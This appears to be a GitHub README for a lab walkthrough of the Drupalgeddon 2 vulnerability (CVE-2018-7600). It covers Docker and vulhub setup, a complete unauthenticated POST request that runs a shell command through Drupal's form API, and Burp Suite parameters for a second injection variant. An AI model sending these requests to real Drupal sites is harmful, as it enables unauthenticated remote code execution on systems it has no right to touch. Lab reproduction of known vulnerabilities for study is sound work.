dowonkwon/drupal-cve-2018-7600-pocProof-of-concept exploit for CVE-2018-7600 (Drupalgeddon 2) with a step-by-step lab environment setup and exploitation walkthrough using Docker and Burp Suite.
(CVE-2018-7600)**
Drupal versions prior to 7.58, 8.x versions prior to 8.3.9, 8.4.x versions prior to 8.4.6, and 8.5.x versions prior to 8.5.1 allow remote attackers to execute arbitrary code due to an issue affecting multiple subsystems using default or common module configurations including the Form API.
References:
First, as shown in the following screen, fork the contents of the relevant vulhub.
Then download that folder as a ZIP file and bring it over.
Extract the contents related to drupal (CVE-2018-7600) and upload them to my repository.
Now let's set up that environment in Docker through that repository.
Clone my repository using the git clone command as follows, then move into the folder containing the docker-compose.yml file using the cd command.
Then run Docker in the background with the following command:
docker-compose up -d
You can see it running as shown below.
Navigate to http://localhost:8080 to visit the Drupal homepage.
The Drupal environment configuration screen appears, followed by the Drupal homepage.
To attempt the exploit, set it up simply as follows:
Then it loads as shown.
Next, enter additional site settings (set to "test" for quick exploit configuration).
Finally, the Drupal site setup is complete as shown below.
Referencing a2u/CVE-2018-7600, the following request can be sent to Drupal:
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
CVE-2018-7600 (Drupalgeddon2) is a vulnerability that attempts an unauthenticated attack by manipulating form fields via AJAX through /user/register, so you can also forge packets using Burp Suite.
First, go to the registration page via Burp Suite's proxy site, enter any values, and capture the packet.
Modify the packet using Burp Suite.
Send that packet to Repeater and add the following code at the bottom:
element_parents = timezone/timezone/#value
ajax_form = 1
_wrapper_format = drupal_ajax
timezone[timezone] = id
After sending, you can see the OK command appears as shown below.
For a more malicious request, the CVE-2018-7600 (Drupalgeddon2) attack is more reliable when sent immediately after Drupal installation (before the installation wizard finishes).